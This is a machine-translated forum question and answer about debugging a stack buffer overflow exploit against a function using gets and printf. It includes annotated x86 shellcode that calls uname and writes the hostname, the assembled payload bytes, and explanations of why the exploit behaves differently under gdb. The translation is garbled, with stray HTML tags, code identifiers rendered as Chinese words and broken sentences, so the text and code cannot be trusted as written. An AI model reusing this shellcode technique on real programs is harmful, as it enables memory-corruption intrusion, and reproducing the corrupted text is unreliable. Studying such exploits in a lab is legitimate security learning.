弱势 </跨度> get()函数。执行时,可以看到在strace命令的以下输出中调用了uname系统调用:
(……)uname({sysname =“Linux”,nodename =“kali”,…})= 0 ?
谢谢
更新:
该 弱势 </跨度> main调用的函数如下所示:
void function(){ char buf [100]; 得到(BUF); 的printf(BUF);}
我用gdb和done完成了单步调试
最终汇编代码如下所示(仅更改为-390到-500):
//uname(*buf) "addl $-500, %esp;" //save space for buffer "movl %esp, %ebx;" //ebx point to buffer "xorl %eax, %eax;" //erase data in register "addb $0x7a, %al;" //syscall number "int $0x80;" //raise interruption //write(fd, *buf, size) "movb $0x04, %al;" //syscall number "xorl %ebx, %ebx;" //erase data in register "movb $0x01, %bl;" //add 1 as file descriptor "lea 0x41(%esp), %ecx;" //get address where hostname is "xorl %edx, %edx;" //erase data in register "addb $0x05, %dl;" //set buffer size "int $0x80;" //raise interruption //exit(0) "movb $0x01, %al;" //syscall number "xorl %ebx, %ebx;" //set 0 in register "int $0x80;" //raise interruption
所以最后的字节码:
\x81\xc4\x0c\xfe\xff\xff\x89\xe3\x31\xc0\x04\x7a\xcd\x80\xb0\x04\x31\xdb\xb3\x01\x8d\x4c\x24\x41\x31\xd2\x80\xc2\x05\xcd\x80\xb0\x01\x31\xdb\xcd\x80
1.-当gdb不用于执行易受攻击的程序时,为什么会分析核心转储时触发分段错误以及为什么字节码不会显示在堆栈的任何位置?
似乎问题是390不是4的倍数,因此它导致了一些错误。整个字节码大小也是错误的。
2.-当gdb用于执行程序(运行&lt; byteCodeFile)时为什么会得到不同的结果? Uname将从esp(仅在开始时修改)填充缓冲区始终使用相同的信息,因此写入应始终正确执行,不是吗?
gdb中的地址必须与用于通过终端利用程序的地址不同,因为它加载环境变量。这是更好的解释: 缓冲区溢出在gdb中工作但不是没有它